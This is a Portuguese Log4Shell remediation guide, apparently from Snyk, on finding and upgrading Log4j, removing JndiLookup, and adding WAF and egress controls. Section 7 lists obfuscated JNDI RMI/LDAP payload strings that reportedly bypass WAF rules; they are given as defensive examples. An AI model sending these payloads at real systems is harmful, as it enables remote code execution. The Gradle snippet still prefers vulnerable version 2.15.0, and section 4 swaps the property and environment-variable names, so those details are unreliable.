Guia de correção do Log4Shell

Nota do editor (28 de dezembro de 2021, às 19h35 GMT): A equipe do Log4j lançou uma nova atualização de segurança e descobriu que a versão 2.17.0 era vulnerável à execução remota de código, identificada como CVE-2021-44832. Recomendamos atualizar para a versão mais recente, que, neste momento, é a 2.17.1. A situação do Log4j está mudando rapidamente, e estamos atualizando nossos artigos à medida que novas informações ficam disponíveis.

A esta altura, todos já ouviram falar da vulnerabilidade Log4Shell. Este guia de correção do Log4Shell resume as principais medidas e recomendações adotadas para limitar a exposição à vulnerabilidade e reduzir o risco de exploração em sistemas de produção. Este é um documento dinâmico, que será atualizado conforme novas informações forem disponibilizadas. Compartilhe este conteúdo com a comunidade para que todos saibam como podem ajudar a mitigar ativamente esse problema agora.

Neste artigo, vamos explorar estas recomendações de correção:

1. Tenha visibilidade: identifique onde suas aplicações usam o Log4j

2. Atualize para o Log4j 2.17.1 ou superior

3. Remova o recurso de consulta do Log4j

4. Desative as consultas por meio de propriedades

5. Atualizar o JDK não é suficiente

6. Monitore projetos com suporte a PRs automáticas

7. Adicione regras de WAF para bloquear solicitações maliciosas de entrada

8. Restrinja o tráfego de saída para a internet

Baixe o guia de correção do Log4Shell

1. Tenha visibilidade: identifique onde sua aplicação usa o Log4j

Um dos maiores desafios neste momento é entender onde o Log4j está sendo introduzido nos nossos ambientes de produção. Ele pode ser incorporado diretamente às aplicações ou indiretamente, por meio das dependências que usamos. Portanto, o primeiro passo é identificar se você está usando o Log4j e onde. É bem provável que esteja usando sem saber.

Você pode usar o Snyk para fazer uma varredura completa de todos os projetos nos seus repositórios Git e obter um relatório de todas as dependências diretas e transitivas utilizadas. Com esse relatório, você verá se está incluindo o Log4j e em quantos caminhos do grafo de dependências ele aparece. Esse recurso está disponível no plano gratuito de autoatendimento do Snyk, para você começar agora mesmo.

Atualização: a Snyk CLI ganhou um novo comando criado para uma única finalidade: encontrar rastros da biblioteca Log4j afetada pela vulnerabilidade Log4Shell. O snyk log4shell testa seu projeto Java compilado e encontra rastros da biblioteca vulnerável, mesmo quando ela não está declarada nos arquivos de manifesto. Saiba mais sobre o snyk log4shell e como usá-lo nos seus projetos.

Outra opção, mais manual, é executar mvn dependency:tree | grep log4j nos projetos Maven para identificar onde o Log4j está sendo usado na árvore de dependências de cada projeto.

2. Atualize para o Log4j 2.17.1 ou superior

Observação importante: a atualização para a versão 2.17.1 corrige CVE-2021-44228, CVE-2021-45046, CVE-2021-45105 e CVE-2021-44832.

A equipe do Log4j incluiu várias correções de vulnerabilidades na versão 2.17.1 do Log4j. A partir da versão 2.16, a funcionalidade JNDI também foi desativada por padrão. Sempre que possível, atualize imediatamente para a versão 2.17.1 ou superior. Mas isso costuma ser mais fácil na teoria do que na prática. Se o Log4j for uma dependência direta dos seus projetos, a atualização pode ser relativamente simples. Se ele for incluído como dependência transitiva — por exemplo, por uma dependência que usa o Log4j —, você precisará atualizar essa dependência para uma versão que use o Log4j 2.17.1. Como essa vulnerabilidade é muito recente, o ecossistema levará algum tempo para atualizar outras dependências e incluir essa versão corrigida do Log4j. Enquanto isso, precisamos mitigar o risco de outras formas.

Observação: se você fez o teste com o Snyk na etapa 1, poderá atualizar automaticamente quando possível. Basta clicar em Abrir um PR para passar à versão corrigida mais próxima do Log4j (no momento da publicação, a 2.17.1) ou atualizar outras dependências diretas que usam o Log4j.

Se você usa Gradle, pode evitar que seu projeto resolva acidentalmente uma versão vulnerável do Log4j usando o recurso de restrições de dependências. Para isso, adicione o trecho a seguir ao build do Gradle. Consulte o artigo do Gradle para saber mais:

1dependencies {
2    constraints {
3        implementation("org.apache.logging.log4j:log4j-core") {
4            version {
5                strictly("[2.15, 3[")
6                prefer("2.15.0")
7            }
8            because("CVE-2021-44228: Log4j vulnerable to remote code execution")
9        }
10    }
11}

3. Remova o recurso de consulta do Log4j

Se você não puder atualizar — ou quiser reforçar ainda mais a mitigação de riscos —, o próximo passo é remover a capacidade do Log4j de realizar essas consultas. Essa funcionalidade está na classe JndiLookup.class dos seus ambientes de execução. Observe que remover essa classe de ambientes em execução não basta: também é necessário reiniciar o ambiente JVM. Por exemplo, se você usa um servidor Tomcat, precisará pará-lo e iniciá-lo novamente. Veja um exemplo de comando para remover o arquivo da classe do seu JAR:

1zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Também é recomendável remover outras classes que poderiam ser usadas neste ou em ataques semelhantes. Entre elas estão JndiManager, JMSAppender e SMTPAppender. Atenção: remover classes de um ambiente de execução pode causar comportamentos inesperados.

4. Desative as consultas por meio de propriedades

Outra forma de desativar consultas por programação nas versões do Log4j iguais ou superiores à 2.10 é definir a propriedade do sistema LOG4J_FORMAT_MSG_NO_LOOKUPS como true ou definir uma variável de ambiente: Dlog4j2.formatMsgNoLookups=true. O Log4j usa essas variáveis para determinar se deve realizar consultas.

Assim como a remoção dos arquivos do Log4j, essas alterações exigem o reinício da JVM. Por exemplo, talvez seja necessário parar e reiniciar o servidor Tomcat para que as novas propriedades entrem em vigor.

Vale lembrar que essa abordagem foi identificada como uma correção apenas parcial.

5. Atualizar o JDK não é suficiente

Embora as orientações iniciais sugerissem que atualizar o JDK poderia mitigar a vulnerabilidade, mais tarde ficou demonstrado que isso não era eficaz contra ela. Isso inclui definir com.sun.jndi.ldap.object.trustURLCodebase como false.

6. Monitore projetos com suporte a PRs automáticas

Como essa vulnerabilidade de dia zero muda diariamente, é importante garantir que seus projetos continuem o mais protegidos possível. Se você usa o Snyk, mantenha seus projetos monitorados — esse recurso fica ativado por padrão quando você importa um repositório para o app do Snyk. Assim, o Snyk testa os projetos automaticamente todos os dias, além dos outros testes realizados quando você faz atualizações.

Esses testes diários identificam automaticamente oportunidades para aprimorar a segurança, inclusive a aplicação de novas correções. Por exemplo, se você usa o Log4j como dependência transitiva do package A, o package A precisa lançar uma versão que use o Log4j 2.17.1. Essa versão pode não estar disponível hoje, mas talvez seja lançada amanhã ou na próxima semana. O snyk monitor fará testes diários por você e enviará um PR quando a nova atualização estiver disponível, atualizando a versão do Log4j para corrigir a vulnerabilidade.

Também é importante saber que o Snyk avisará você, por meio de PRs ou outros mecanismos, se novas correções forem disponibilizadas para essa vulnerabilidade ou se forem descobertos novos vetores de ataque que revelem outras vulnerabilidades. Assim, você fica entre os primeiros a saber o que fazer caso surjam novos problemas.

7. Adicione regras de WAF para bloquear solicitações maliciosas de entrada

Até aqui, nos concentramos principalmente na etapa de correção da aplicação. Mas também é possível tomar medidas adicionais fora dela para ajudar a mitigar o risco. Você pode adicionar regras ao WAF para filtrar solicitações de entrada.

Não confie apenas nessa abordagem: os invasores criam novas strings de ataque a cada hora, capazes de contornar essas regras. Talvez seja necessário adicioná-las manualmente, mas alguns provedores de WAF, como a Cloudflare, já lançaram novas regras para bloquear solicitações que parecem ser ataques maliciosos contra essa vulnerabilidade. Veja alguns exemplos de tentativas de ataque que conseguiram contornar as regras:

1${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
2${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
3${jndi:rmi://adsasd.asdasd.asdasd}
4${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
5${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
6${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
7${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
8${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://%s}

8. Restrinja o tráfego de saída para a internet

As regras de WAF restringem as solicitações que chegam à sua aplicação, mas também é preciso se preocupar com as solicitações que saem dela para fazer requisições LDAP maliciosas a um serviço de nomes comprometido. Uma solução é atualizar suas políticas de saída — talvez pela configuração do Kubernetes ou por outros mecanismos do seu ambiente — para restringir solicitações de saída que pareçam realizar consultas de nomes maliciosas por meio do Log4j.

Assim como no caso do WAF, essa não é uma correção infalível, pois ainda é possível criar payloads maliciosos sem uma solicitação de rede LDAP externa (por exemplo, no caso de servidores Tomcat descrito anteriormente), usando gadgets vulneráveis.

O que é essa nova vulnerabilidade de dia zero do Log4j?

A nova vulnerabilidade foi encontrada na biblioteca Java de código aberto `log4j-core`, componente de um dos frameworks de logging para Java mais populares. Ela foi classificada como Crítica e recebeu pontuação CVSS 10, a mais alta possível. Ao usar uma versão vulnerável do Log4j, qualquer dado de entrada registrado em log pode levar à execução remota de código.

Qual é a gravidade da vulnerabilidade Log4Shell?

A resposta simples é: “muito grave”! É uma vulnerabilidade crítica de segurança com pontuação CVSS 10, a mais alta possível, que permite a invasores executar código remotamente em ambientes vulneráveis. É um problema sério que exige ação imediata.

Quando essa vulnerabilidade do Log4j foi descoberta?

A nova vulnerabilidade de dia zero do Log4j foi divulgada na sexta-feira, 10 de dezembro de 2021.

Quem descobriu a vulnerabilidade do Log4j?

A vulnerabilidade foi descoberta por Chen Zhaojun, da equipe de segurança na nuvem do Alibaba.